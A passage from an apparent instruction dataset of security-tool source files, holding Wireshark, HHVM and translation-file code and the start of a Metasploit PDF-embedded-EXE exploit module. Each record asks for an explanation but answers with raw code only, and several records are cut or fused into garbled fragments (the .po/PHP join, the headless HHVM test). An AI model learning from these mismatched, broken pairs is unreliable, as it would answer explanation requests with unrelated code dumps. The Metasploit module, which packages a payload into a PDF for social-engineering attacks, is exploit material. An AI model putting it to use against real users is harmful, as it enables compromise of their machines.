\"新しい%s\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:80\n#, php-format\nmsgid \"%sを表示\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:81\n#, php-format\nmsgid \"%sを探す\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:82\n#, php-format\nmsgid \"%sはありません\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:83\n#, php-format\nmsgid \"ゴミ箱に%sはありません\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:105\nmsgid \"Category\"\nmsgstr \"カテゴリー\"\n\n#: ../custom-post-type-manager.php:116\nmsgid \"Tag\"\nmsgstr \"タグ\"\n\n#: ../custom-post-type-manager.php:135\n#, php-format\nmsgid \"%sを更新しました 記事を見る\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:136\nmsgid \"カスタムフィールドを更新しました\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:137\nmsgid \"カスタムフィールドを削除しました\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:138\n#, php-format\nmsgid \"%s更新\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:139\n#, php-format\nmsgid \"%s 前に%sを保存しました\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:140\n#, php-format\nmsgid \"%sが公開されました 記事を見る\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:141\n#, php-format\nmsgid \"%s記事を保存\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:142\n#, php-format\nmsgid \"%s記事を送信 プレビュー\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:143\n#, php-format\nmsgid \"\"\n\"%1$sを予約投稿しました: %2$s. プレビュー\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:143\nmsgid \"M j, Y @ G:i\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:144\n#, php-format\nmsgid \"\"\n\"%sの下書きを更新しました プレビュー\"\nmsgstr \"\"\n\n#~ msgid \" >\nfunction main_1280() :mixed{\n$a = 'test';\n $a = 123;\n switch ($a) {\n case -1: var_dump($a);\n default: break;\n}\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:19655"}} -{"instruction": "Explain the purpose and role of 'wireshark/ui/qt/profile_dialog.cpp' from the wireshark security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/* profile_dialog.cpp\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs \n * Copyright 1998 Gerald Combs\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n */\n\n#include \"config.h\"\n#include \n\n#include \"wsutil/filesystem.h\"\n#include \"wsutil/utf8_entities.h\"\n#include \"epan/prefs.h\"\n\n#include \n\n#include \"ui/profile.h\"\n#include \"ui/recent.h\"\n#include \"ui/last_open_dir.h\"\n\n#include \n#include \n\n#include \"profile_dialog.h\"\n#include \n#include \"main_application.h\"\n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#define PROFILE_EXPORT_PROPERTY \"export\"\n#define PROFILE_EXPORT_ALL \"all\"\n#define PROFILE_EXPORT_SELECTED \"selected\"\n\nProfileDialog::ProfileDialog(QWidget *parent) :\n GeometryStateDialog(parent),\n pd_ui_(new Ui::ProfileDialog),\n ok_button_(Q_NULLPTR),\n import_button_(Q_NULLPTR),\n model_(Q_NULLPTR),\n sort_model_(Q_NULLPTR)\n{\n pd_ui_->setupUi(this);\n loadGeometry();\n setWindowTitle(mainApp->windowTitleString(tr(\"Configuration Profiles\")));\n\n ok_button_ = pd_ui_->buttonBox->button(QDialogButtonBox::Ok);\n\n // XXX - Use NSImageNameAddTemplate and NSImageNameRemoveTemplate to set stock\n // icons on macOS.\n // Are there equivalent stock icons on Windows?\n pd_ui_->newToolButton->setStockIcon(\"list-add\");\n pd_ui_->deleteToolButton->setStockIcon(\"list-remove\");\n pd_ui_->copyToolButton->setStockIcon(\"list-copy\");\n#ifdef Q_OS_MAC\n pd_ui_->newToolButton->setAttribute(Qt::WA_MacSmallSize, true);\n pd_ui_->deleteToolButton->setAttribute(Qt::WA_MacSmallSize, true);\n pd_ui_->copyToolButton->setAttribute(Qt::WA_MacSmallSize, true);\n pd_ui_->hintLabel->setAttribute(Qt::WA_MacSmallSize, true);\n#endif\n\n import_button_ = pd_ui_->buttonBox->addButton(tr(\"Import\", \"noun\"), QDialogButtonBox::ActionRole);\n\n#ifdef HAVE_MINIZIP\n export_button_ = pd_ui_->buttonBox->addButton(tr(\"Export\", \"noun\"), QDialogButtonBox::ActionRole);\n\n QMenu * importMenu = new QMenu(import_button_);\n QAction * entry = importMenu->addAction(tr(\"From Zip File...\"));\n connect(entry, &QAction::triggered, this, &ProfileDialog::importFromZip, Qt::QueuedConnection);\n entry = importMenu->addAction(tr(\"From Directory...\"));\n connect(entry, &QAction::triggered, this, &ProfileDialog::importFromDirectory, Qt::QueuedConnection);\n import_button_->setMenu(importMenu);\n\n QMenu * exportMenu = new QMenu(export_button_);\n export_selected_entry_ = exportMenu->addAction(tr(\"%Ln Selected Personal Profile(s)...\", \"\", 0));\n export_selected_entry_->setProperty(PROFILE_EXPORT_PROPERTY, PROFILE_EXPORT_SELECTED);\n connect(export_selected_entry_, &QAction::triggered, this, &ProfileDialog::exportProfiles, Qt::QueuedConnection);\n entry = exportMenu->addAction(tr(\"All Personal Profiles...\"));\n entry->setProperty(PROFILE_EXPORT_PROPERTY, PROFILE_EXPORT_ALL);\n connect(entry, &QAction::triggered, this, &ProfileDialog::exportProfiles, Qt::QueuedConnection);\n export_button_->setMenu(exportMenu);\n#else\n connect(import_button_, &QPushButton::clicked, this, &ProfileDialog::importFromDirectory);\n#endif\n\n resetTreeView();\n\n /* Select the row for the currently selected profile or the first row if non is selected*/\n selectProfile();\n\n pd_ui_->cmbProfileTypes->addItems(ProfileSortModel::filterTypes());\n\n connect (pd_ui_->cmbProfileTypes, &QComboBox::currentTextChanged,\n this, &ProfileDialog::filterChanged);\n connect (pd_ui_->lineProfileFilter, &QLineEdit::textChanged,\n this, &ProfileDialog::filterChanged);\n\n currentItemChanged();\n\n pd_ui_->profileTreeView->setFocus();\n}\n\nProfileDialog::~ProfileDialog()\n{\n delete pd_ui_;\n empty_profile_list (TRUE);\n}\n\nvoid ProfileDialog::keyPressEvent(QKeyEvent *evt)\n{\n if (pd_ui_->lineProfileFilter->hasFocus() && (evt->key() == Qt::Key_Enter || evt->key() == Qt::Key_Return))\n return;\n QDialog::keyPressEvent(evt);\n}\n\nvoid ProfileDialog::selectProfile(QString profile)\n{\n if (profile.isEmpty())\n profile = QString(get_profile_name());\n\n int row = model_->findByName(profile);\n QModelIndex idx = sort_model_->mapFromSource(model_->index(row, ProfileModel::COL_NAME));\n if (idx.isValid())\n pd_ui_->profileTreeView->selectRow(idx.row());\n}\n\nint ProfileDialog::execAction(ProfileDialog::ProfileAction profile_action)\n{\n int ret = QDialog::Accepted;\n QModelIndex item;\n\n switch (profile_action) {\n case ShowProfiles:\n ret = exec();\n break;\n case NewProfile:\n on_newToolButton_clicked();\n ret = exec();\n break;\n case ImportZipProfile:\n#ifdef HAVE_MINIZIP\n importFromZip();\n#endif\n break;\n case ImportDirProfile:\n importFromDirectory();\n break;\n case ExportSingleProfile:\n#ifdef HAVE_MINIZIP\n exportProfiles();\n#endif\n break;\n case ExportAllProfiles:\n#ifdef HAVE_MINIZIP\n exportProfiles(true);\n#endif\n break;\n case EditCurrentProfile:\n item = pd_ui_->profileTreeView->currentIndex();\n if (item.isValid()) {\n pd_ui_->profileTreeView->edit(item);\n }\n ret = exec();\n break;\n case DeleteCurrentProfile:\n if (delete_current_profile()) {\n mainApp->setConfigurationProfile (Q_NULLPTR);\n }\n break;\n }\n return ret;\n}\n\nQModelIndexList ProfileDialog::selectedProfiles()\n{\n QModelIndexList profiles;\n\n foreach (QModelIndex idx, pd_ui_->profileTreeView->selectionModel()->selectedIndexes())\n {\n QModelIndex temp = sort_model_->mapToSource(idx);\n if (! temp.isValid() || profiles.contains(temp) || temp.column() != ProfileModel::COL_NAME)\n continue;\n\n profiles << temp;\n }\n\n return profiles;\n}\n\nvoid ProfileDialog::selectionChanged()\n{\n if (selectedProfiles().count() == 0)\n pd_ui_->profileTreeView->selectRow(0);\n\n updateWidgets();\n}\n\nvoid ProfileDialog::updateWidgets()\n{\n bool enable_del = true;\n bool enable_ok = true;\n bool multiple = false;\n bool enable_import = true;\n int user_profiles = 0;\n\n QString msg;\n QModelIndex index = sort_model_->mapToSource(pd_ui_->profileTreeView->currentIndex());\n QModelIndexList profiles = selectedProfiles();\n\n /* Ensure that the index is always the name column */\n if (index.column() != ProfileModel::COL_NAME)\n index = index.sibling(index.row(), ProfileModel::COL_NAME);\n\n /* check if more than one viable profile is selected, and inform the sorting model */\n if (profiles.count() > 1)\n multiple = true;\n\n /* Check if user profiles have been selected and allow export if it is so */\n for (int cnt = 0; cnt < profiles.count(); cnt++)\n {\n if (! profiles[cnt].data(ProfileModel::DATA_IS_GLOBAL).toBool() && ! profiles[cnt].data(ProfileModel::DATA_IS_DEFAULT).toBool())\n user_profiles++;\n }\n if (model_->changesPending())\n {\n enable_import = false;\n msg = tr(\"An import of profiles is not allowed, while changes are pending\");\n }\n else if (model_->importPending())\n {\n enable_import = false;\n msg = tr(\"An import is pending to be saved. Additional imports are not allowed\");\n }\n import_button_->setToolTip(msg);\n import_button_->setEnabled(enable_import);\n\n#ifdef HAVE_MINIZIP\n bool contains_user = false;\n bool enable_export = false;\n\n if (user_profiles > 0)\n contains_user = true;\n\n /* enable export if no changes are pending */\n if (! model_->changesPending())\n enable_export = true;\n\n export_button_->setEnabled(enable_export);\n if (! enable_export)\n {\n if (! contains_user)\n export_button_->setToolTip(tr(\"An export of profiles is only allowed for personal profiles\"));\n else\n export_button_->setToolTip(tr(\"An export of profiles is not allowed, while changes are pending\"));\n }\n export_selected_entry_->setVisible(contains_user);\n#endif\n\n /* if the current profile is default with reset pending or a global one, deactivate delete */\n if (! multiple)\n {\n if (index.isValid())\n {\n if (index.data(ProfileModel::DATA_IS_GLOBAL).toBool())\n enable_del = false;\n else if (index.data(ProfileModel::DATA_IS_DEFAULT).toBool() && model_->resetDefault())\n enable_del = false;\n }\n else if (! index.isValid())\n enable_del = false;\n }\n\n QString hintUrl;\n msg.clear();\n if (multiple)\n {\n /* multiple profiles are being selected, copy is no longer allowed */\n pd_ui_->copyToolButton->setEnabled(false);\n\n msg = tr(\"%Ln Selected Personal Profile(s)...\", \"\", user_profiles);\n pd_ui_->hintLabel->setText(msg);\n#ifdef HAVE_MINIZIP\n export_selected_entry_->setText(msg);\n#endif\n }\n else\n {\n /* if only one profile is selected, display it's path in the hint label and activate link (if allowed) */\n if (index.isValid())\n {\n QString temp = index.data(ProfileModel::DATA_PATH).toString();\n if (index.data(ProfileModel::DATA_PATH_IS_NOT_DESCRIPTION).toBool() && QFileInfo(temp).isDir())\n hintUrl = QUrl::fromLocalFile(temp).toString();\n pd_ui_->hintLabel->setText(temp);\n pd_ui_->hintLabel->setToolTip(index.data(Qt::ToolTipRole).toString());\n\n if (! index.data(ProfileModel::DATA_IS_GLOBAL).toBool() && ! index.data(ProfileModel::DATA_IS_DEFAULT).toBool())\n msg = tr(\"%Ln Selected Personal Profile(s)...\", \"\", 1);\n }\n\n pd_ui_->copyToolButton->setEnabled(true);\n#ifdef HAVE_MINIZIP\n export_selected_entry_->setText(msg);\n#endif\n }\n\n /* Ensure, that the ok button is disabled, if an invalid name is used or if duplicate global profiles exist */\n if (model_ && model_->rowCount() > 0)\n {\n msg.clear();\n for (int row = 0; row < model_->rowCount() && enable_ok; row++)\n {\n QModelIndex idx = model_->index(row, ProfileModel::COL_NAME);\n QString name = idx.data().toString();\n\n if (! ProfileModel::checkNameValidity(name, &msg))\n {\n if (idx == index || selectedProfiles().contains(idx))\n {\n hintUrl.clear();\n pd_ui_->hintLabel->setText(msg);\n }\n\n enable_ok = false;\n continue;\n }\n\n if (model_->checkInvalid(idx) || (! idx.data(ProfileModel::DATA_IS_GLOBAL).toBool() && model_->checkIfDeleted(idx)) )\n {\n if (idx == index)\n hintUrl.clear();\n enable_ok = false;\n continue;\n }\n\n if (idx != index && idx.data().toString().compare(index.data().toString()) == 0)\n {\n if (idx.data(ProfileModel::DATA_IS_GLOBAL).toBool() == index.data(ProfileModel::DATA_IS_GLOBAL).toBool())\n enable_ok = false;\n }\n\n QList rows = model_->findAllByNameAndVisibility(name, idx.data(ProfileModel::DATA_IS_GLOBAL).toBool());\n if (rows.count() > 1)\n enable_ok = false;\n }\n\n if (enable_ok && ! model_->checkIfDeleted(index) && index.data(ProfileModel::DATA_STATUS).toInt() == PROF_STAT_CHANGED)\n hintUrl.clear();\n }\n\n pd_ui_->hintLabel->setUrl(hintUrl);\n\n /* ensure the name column is resized to it's content */\n pd_ui_->profileTreeView->resizeColumnToContents(ProfileModel::COL_NAME);\n\n pd_ui_->deleteToolButton->setEnabled(enable_del);\n ok_button_->setEnabled(enable_ok);\n}\n\nvoid ProfileDialog::currentItemChanged(const QModelIndex &, const QModelIndex &)\n{\n updateWidgets();\n}\n\nvoid ProfileDialog::on_newToolButton_clicked()\n{\n pd_ui_->lineProfileFilter->setText(\"\");\n pd_ui_->cmbProfileTypes->setCurrentIndex(ProfileSortModel::AllProfiles);\n sort_model_->setFilterString();\n\n QModelIndex ridx = sort_model_->mapFromSource(model_->addNewProfile(tr(\"New profile\")));\n if (ridx.isValid())\n {\n pd_ui_->profileTreeView->setCurrentIndex(ridx);\n pd_ui_->profileTreeView->scrollTo(ridx);\n pd_ui_->profileTreeView->edit(ridx);\n currentItemChanged();\n }\n else\n updateWidgets();\n}\n\nvoid ProfileDialog::on_deleteToolButton_clicked()\n{\n QModelIndexList profiles = selectedProfiles();\n if (profiles.count() <= 0)\n return;\n\n model_->deleteEntries(profiles);\n\n bool isGlobal = model_->activeProfile().data(ProfileModel::DATA_IS_GLOBAL).toBool();\n int row = model_->findByName(model_->activeProfile().data().toString());\n /* If the active profile is deleted, the default is selected next */\n if (row < 0)\n row = 0;\n QModelIndex newIdx = sort_model_->mapFromSource(model_->index(row, 0));\n if (newIdx.data(ProfileModel::DATA_IS_GLOBAL).toBool() != isGlobal)\n newIdx = sort_model_->mapFromSource(model_->index(0, 0));\n\n pd_ui_->profileTreeView->setCurrentIndex(newIdx);\n\n updateWidgets();\n}\n\nvoid ProfileDialog::on_copyToolButton_clicked()\n{\n QModelIndexList profiles = selectedProfiles();\n if (profiles.count() > 1)\n return;\n\n pd_ui_->lineProfileFilter->setText(\"\");\n pd_ui_->cmbProfileTypes->setCurrentIndex(ProfileSortModel::AllProfiles);\n sort_model_->setFilterString();\n\n QModelIndex current = pd_ui_->profileTreeView->currentIndex();\n if (current.column() != ProfileModel::COL_NAME)\n current = current.sibling(current.row(), ProfileModel::COL_NAME);\n\n QModelIndex source = sort_model_->mapToSource(current);\n QModelIndex ridx = model_->duplicateEntry(source);\n if (ridx.isValid())\n {\n pd_ui_->profileTreeView->setCurrentIndex(sort_model_->mapFromSource(ridx));\n pd_ui_->profileTreeView->scrollTo(sort_model_->mapFromSource(ridx));\n pd_ui_->profileTreeView->edit(sort_model_->mapFromSource(ridx));\n currentItemChanged();\n }\n else\n updateWidgets();\n}\n\nvoid ProfileDialog::on_buttonBox_accepted()\n{\n bool write_recent = true;\n bool item_data_removed = false;\n\n QModelIndex index = sort_model_->mapToSource(pd_ui_->profileTreeView->currentIndex());\n\n pd_ui_->buttonBox->setFocus();\n\n QModelIndexList profiles = selectedProfiles();\n if (profiles.count() <= 0)\n index = QModelIndex();\n\n QModelIndex default_item = sort_model_->mapFromSource(model_->index(0, ProfileModel::COL_NAME));\n if (index.isValid() && index.column() != ProfileModel::COL_NAME)\n index = index.sibling(index.row(), ProfileModel::COL_NAME);\n\n if (default_item.data(ProfileModel::DATA_STATUS).toInt() == PROF_STAT_DEFAULT && model_->resetDefault())\n {\n // Reset Default profile.\n GList *fl_entry = model_->at(0);\n remove_from_profile_list(fl_entry);\n\n // Don't write recent file if leaving the Default profile after this has been reset.\n write_recent = !is_default_profile();\n\n // Don't fetch profile data if removed.\n item_data_removed = (index.row() == 0);\n }\n\n if (write_recent) {\n /* Get the current geometry, before writing it to disk */\n mainApp->emitAppSignal(MainApplication::ProfileChanging);\n\n /* Write recent file for current profile now because\n * the profile may be renamed in apply_profile_changes() */\n write_profile_recent();\n }\n\n gchar * err_msg = Q_NULLPTR;\n if ((err_msg = apply_profile_changes()) != Q_NULLPTR) {\n QMessageBox::critical(this, tr(\"Profile Error\"),\n err_msg,\n QMessageBox::Ok);\n g_free(err_msg);\n\n model_->doResetModel();\n return;\n }\n\n model_->doResetModel();\n\n QString profileName;\n\n if (! index.isValid() && model_->lastSetRow() >= 0)\n {\n QModelIndex original = model_->index(model_->lastSetRow(), ProfileModel::COL_NAME);\n index = sort_model_->mapFromSource(original);\n }\n\n /* If multiple profiles are selected, do not change the selected profile */\n if (index.isValid() && ! item_data_removed && profiles.count() <= 1)\n {\n profileName = model_->data(index).toString();\n }\n\n if (profileName.length() > 0 && model_->findByName(profileName) >= 0) {\n // The new profile exists, change.\n mainApp->setConfigurationProfile (profileName.toUtf8().constData(), FALSE);\n } else if (!model_->activeProfile().isValid()) {\n // The new profile does not exist, and the previous profile has\n // been deleted. Change to the default profile.\n mainApp->setConfigurationProfile (Q_NULLPTR, FALSE);\n }\n}\n\nvoid ProfileDialog::on_buttonBox_rejected()\n{\n QString msg;\n if (! model_->clearImported(&msg))\n QMessageBox::critical(this, tr(\"Error\"), msg);\n}\n\nvoid ProfileDialog::on_buttonBox_helpRequested()\n{\n mainApp->helpTopicAction(HELP_CONFIG_PROFILES_DIALOG);\n}\n\nvoid ProfileDialog::dataChanged(const QModelIndex &)\n{\n pd_ui_->lineProfileFilter->setText(\"\");\n pd_ui_->cmbProfileTypes->setCurrentIndex(ProfileSortModel::AllProfiles);\n\n pd_ui_->profileTreeView->setFocus();\n if (model_->lastSetRow() >= 0)\n {\n QModelIndex original = model_->index(model_->lastSetRow(), ProfileModel::COL_NAME);\n pd_ui_->profileTreeView->setCurrentIndex(sort_model_->mapFromSource(original));\n pd_ui_->profileTreeView->selectRow(sort_model_->mapFromSource(original).row());\n }\n\n updateWidgets();\n}\n\nvoid ProfileDialog::filterChanged(const QString &text)\n{\n if (qobject_cast(sender()))\n {\n QComboBox * cmb = qobject_cast(sender());\n sort_model_->setFilterType(static_cast(cmb->currentIndex()));\n }\n else if (qobject_cast(sender()))\n sort_model_->setFilterString(text);\n\n pd_ui_->profileTreeView->resizeColumnToContents(ProfileModel::COL_NAME);\n\n QModelIndex active = sort_model_->mapFromSource(model_->activeProfile());\n if (active.isValid())\n pd_ui_->profileTreeView->setCurrentIndex(active);\n}\n\n#ifdef HAVE_MINIZIP\nvoid ProfileDialog::exportProfiles(bool exportAllPersonalProfiles)\n{\n QAction * action = qobject_cast(sender());\n if (action && action->property(PROFILE_EXPORT_PROPERTY).isValid())\n exportAllPersonalProfiles = action->property(PROFILE_EXPORT_PROPERTY).toString().compare(PROFILE_EXPORT_ALL) == 0;\n\n QModelIndexList items;\n int skipped = 0;\n\n if (! exportAllPersonalProfiles)\n {\n foreach (QModelIndex idx, selectedProfiles())\n {\n QModelIndex baseIdx = sort_model_->index(idx.row(), ProfileModel::COL_NAME);\n if (! baseIdx.data(ProfileModel::DATA_IS_GLOBAL).toBool() && ! baseIdx.data(ProfileModel::DATA_IS_DEFAULT).toBool())\n items << sort_model_->mapToSource(baseIdx);\n else\n skipped++;\n }\n }\n else if (exportAllPersonalProfiles)\n {\n for (int cnt = 0; cnt < sort_model_->rowCount(); cnt++)\n {\n QModelIndex idx = sort_model_->index(cnt, ProfileModel::COL_NAME);\n if (! idx.data(ProfileModel::DATA_IS_GLOBAL).toBool() && ! idx.data(ProfileModel::DATA_IS_DEFAULT).toBool())\n items << sort_model_->mapToSource(idx);\n }\n }\n if (items.count() == 0)\n {\n QString msg = tr(\"No profiles found for export\");\n if (skipped > 0)\n msg.append(tr(\", %Ln profile(s) skipped\", \"\", skipped));\n QMessageBox::critical(this, tr(\"Exporting profiles\"), msg);\n return;\n }\n\n QString zipFile = QFileDialog::getSaveFileName(this, tr(\"Select zip file for export\"), lastOpenDir(), tr(\"Zip File (*.zip)\"));\n\n if (zipFile.length() > 0)\n {\n QFileInfo fi(zipFile);\n if (fi.suffix().length() == 0 || fi.suffix().toLower().compare(\"zip\") != 0)\n zipFile += \".zip\";\n\n QString err;\n if (model_->exportProfiles(zipFile, items, &err))\n {\n QString msg = tr(\"%Ln profile(s) exported\", \"\", static_cast(items.count()));\n if (skipped > 0)\n msg.append(tr(\", %Ln profile(s) skipped\", \"\", skipped));\n QMessageBox::information(this, tr(\"Exporting profiles\"), msg);\n\n QFileInfo zip(zipFile);\n storeLastDir(zip.absolutePath());\n }\n else\n {\n QString msg = tr(\"An error has occurred while exporting profiles\");\n if (err.length() > 0)\n msg.append(QString(\"\\n\\n%1: %3\").arg(tr(\"Error\")).arg(err));\n QMessageBox::critical(this, tr(\"Exporting profiles\"), msg);\n }\n }\n}\n\nvoid ProfileDialog::importFromZip()\n{\n QString zipFile = QFileDialog::getOpenFileName(this, tr(\"Select zip file for import\"), lastOpenDir(), tr(\"Zip File (*.zip)\"));\n\n QFileInfo fi(zipFile);\n if (! fi.exists())\n return;\n\n int skipped = 0;\n QStringList import;\n int count = model_->importProfilesFromZip(zipFile, &skipped, &import);\n\n finishImport(fi, count, skipped, import);\n}\n#endif\n\nvoid ProfileDialog::importFromDirectory()\n{\n QString importDir = QFileDialog::getExistingDirectory(this, tr(\"Select directory for import\"), lastOpenDir());\n\n QFileInfo fi(importDir);\n if (! fi.isDir())\n return;\n\n int skipped = 0;\n QStringList import;\n int count = model_->importProfilesFromDir(importDir, &skipped, false, &import);\n\n finishImport(fi, count, skipped, import);\n}\n\nvoid ProfileDialog::finishImport(QFileInfo fi, int count, int skipped, QStringList import)\n{\n QString msg;\n QMessageBox::Icon icon;\n\n if (count == 0 && skipped == 0)\n {\n icon = QMessageBox::Warning;\n msg = tr(\"No profiles found for import in %1\").arg(fi.fileName());\n }\n else\n {\n icon = QMessageBox::Information;\n msg = tr(\"%Ln profile(s) imported\", \"\", count);\n if (skipped > 0)\n msg.append(tr(\", %Ln profile(s) skipped\", \"\", skipped));\n }\n QMessageBox msgBox(icon, tr(\"Importing profiles\"), msg, QMessageBox::Ok, this);\n msgBox.exec();\n\n storeLastDir(fi.absolutePath());\n\n if (count > 0)\n {\n import.sort();\n resetTreeView();\n model_->markAsImported(import);\n int rowFirstImported = model_->findByName(import.at(0));\n QModelIndex idx = sort_model_->mapFromSource(model_->index(rowFirstImported, ProfileModel::COL_NAME));\n pd_ui_->profileTreeView->selectRow(idx.isValid() ? idx.row() : 0);\n }\n\n updateWidgets();\n}\n\nvoid ProfileDialog::resetTreeView()\n{\n if (model_)\n {\n pd_ui_->profileTreeView->setModel(Q_NULLPTR);\n sort_model_->setSourceModel(Q_NULLPTR);\n model_->disconnect();\n if (pd_ui_->profileTreeView->selectionModel())\n pd_ui_->profileTreeView->selectionModel()->disconnect();\n delete sort_model_;\n delete model_;\n }\n\n model_ = new ProfileModel(pd_ui_->profileTreeView);\n sort_model_ = new ProfileSortModel(pd_ui_->profileTreeView);\n sort_model_->setSourceModel(model_);\n pd_ui_->profileTreeView->setModel(sort_model_);\n\n connect(model_, &ProfileModel::itemChanged, this, &ProfileDialog::dataChanged, Qt::QueuedConnection);\n QItemSelectionModel *selModel = pd_ui_->profileTreeView->selectionModel();\n connect(selModel, &QItemSelectionModel::currentChanged,\n this, &ProfileDialog::currentItemChanged, Qt::QueuedConnection);\n connect(selModel, &QItemSelectionModel::selectionChanged,\n this, &ProfileDialog::selectionChanged);\n\n selectionChanged();\n\n if (sort_model_->columnCount() <= 1)\n pd_ui_->profileTreeView->header()->hide();\n else\n {\n pd_ui_->profileTreeView->header()->setStretchLastSection(false);\n pd_ui_->profileTreeView->header()->setSectionResizeMode(ProfileModel::COL_NAME, QHeaderView::Stretch);\n }\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:58436"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/quick/int-overflow.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "getMessage().\"\\n\");\n }\n}\n\n<<__EntryPoint>> function main(): void {\n $add = function($a,$b) { return HH\\Lib\\Legacy_FIXME\\cast_for_arithmetic($a) + HH\\Lib\\Legacy_FIXME\\cast_for_arithmetic($b); };\n $sub = function($a,$b) { return $a - $b; };\n $mul = function($a,$b) { return $a * $b; };\n\n $max = PHP_INT_MAX;\n $min = 1 << 63;\n\n // some initial cases for the simplifier\n var_dump($max + 1);\n var_dump($min - 1);\n var_dump($max * 5);\n\n $ops = varray[\n // initial sanity checks for no overflow\n varray[$add, 3, 5],\n varray[$sub, 3, 5],\n varray[$mul, 7, 4],\n\n // check runtime operators on just ints\n varray[$add, $max, 1],\n varray[$add, $min, -1],\n\n varray[$sub, $min, 1],\n varray[$sub, $max, -1],\n\n varray[$mul, $max / 2, 3],\n varray[$mul, $min, 2],\n varray[$mul, $max, -2],\n varray[$mul, $min, -3],\n\n // check numeric strings\n varray[$add, \"$max\", 1],\n varray[$add, $max, '1'],\n varray[$add, \"$max\", '1'],\n ];\n\n foreach ($ops as list($op, $lhs, $rhs)) {\n $res = $op($lhs, $rhs);\n var_dump($res);\n }\n\n $unary = varray[$min, $max, -4, 0, 5, \"12\", 5.2, \"1.5\", \"abc\", \"\", null];\n\n // inc/dec\n foreach ($unary as $val) {\n $x = $val;\n error_boundary(inout $x, (inout $o) ==> var_dump(++$o));\n var_dump($x);\n\n $x = $val;\n error_boundary(inout $x, (inout $o) ==> var_dump($o++));\n var_dump($x);\n\n $x = $val;\n error_boundary(inout $x, (inout $o) ==> var_dump(--$o));\n var_dump($x);\n\n $x = $val;\n error_boundary(inout $x, (inout $o) ==> var_dump($o--));\n var_dump($x);\n }\n\n // arrays\n $array = $unary;\n for ($i = 0; $i < count($array); ++$i) {\n var_dump($array[$i]);\n error_boundary(inout $array[$i], (inout $o) ==> var_dump($o++));\n var_dump($array[$i]);\n }\n\n $array = $unary;\n for ($i = 0; $i < count($array); ++$i) {\n var_dump($array[$i]);\n error_boundary(inout $array[$i], (inout $o) ==> var_dump(++$o));\n var_dump($array[$i]);\n }\n\n $array = $unary;\n for ($i = 0; $i < count($array); ++$i) {\n var_dump($array[$i]);\n error_boundary(inout $array[$i], (inout $o) ==> var_dump($o--));\n var_dump($array[$i]);\n }\n\n $array = $unary;\n for ($i = 0; $i < count($array); ++$i) {\n var_dump($array[$i]);\n error_boundary(inout $array[$i], (inout $o) ==> var_dump(--$o));\n var_dump($array[$i]);\n }\n\n // properties\n\n $c = new C;\n var_dump($c->max);\n var_dump($c->max++);\n var_dump($c->max);\n\n $c = new C;\n var_dump($c->max);\n var_dump(++$c->max);\n var_dump($c->max);\n\n $c = new C;\n var_dump($c->max);\n var_dump($c->max--);\n var_dump($c->max);\n\n $c = new C;\n var_dump($c->max);\n var_dump(--$c->max);\n var_dump($c->max);\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:17554"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\n#\n# Modified version of the Adobe PDF Embedded EXE Social Engineering \"adobe_pdf_embedded_exe.rb\".\n# This version does not require JavaScript to be enabled and does not required the EXE to be\n# attached to the PDF. The EXE is embedded in the PDF in a non-standard method using HEX\n# encoding.\n#\n# Lots of reused code from adobe_pdf_embedded_exe.rb and the other PDF modules to make the PDF.\n# Thanks to all those that wrote the code for those modules, as I probably could not have\n# wrote this module without borrowing code from them.\n#\n\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::FILEFORMAT\n include Msf::Exploit::EXE\n\n def initialize(info = {})\n super(update_info(info,\n 'Name'\t\t=> 'Adobe PDF Escape EXE Social Engineering (No JavaScript)',\n 'Description' \t=> %q{\n This module embeds a Metasploit payload into an existing PDF file in\n a non-standard method. The resulting PDF can be sent to a target as\n part of a social engineering attack.\n },\n 'License'\t=> MSF_LICENSE,\n 'Author'\t =>\n [\n 'Jeremy Conway ',\n ],\n 'References' =>\n [\n [ 'CVE', '2010-1240' ],\n [ 'OSVDB', '63667' ],\n [ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],\n [ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],\n [ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ],\n [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-15.html' ]\n ],\n 'Payload'\t=>\n {\n 'Space'\t\t\t => 2048,\n 'DisableNops'\t\t=> true,\n 'StackAdjustment'\t=> -3500,\n },\n 'Platform'\t=> 'win',\n 'DisclosureDate' => '2010-03-29',\n 'Targets'\t=>\n [\n [ 'Adobe Reader <= v9.3.3 (Windows XP SP3 English)', { 'Ret' => '' } ]\n ],\n 'DefaultTarget'\t=> 0))\n\n register_options(\n [\n OptString.new('EXENAME', [ false, 'The Name of payload exe.', 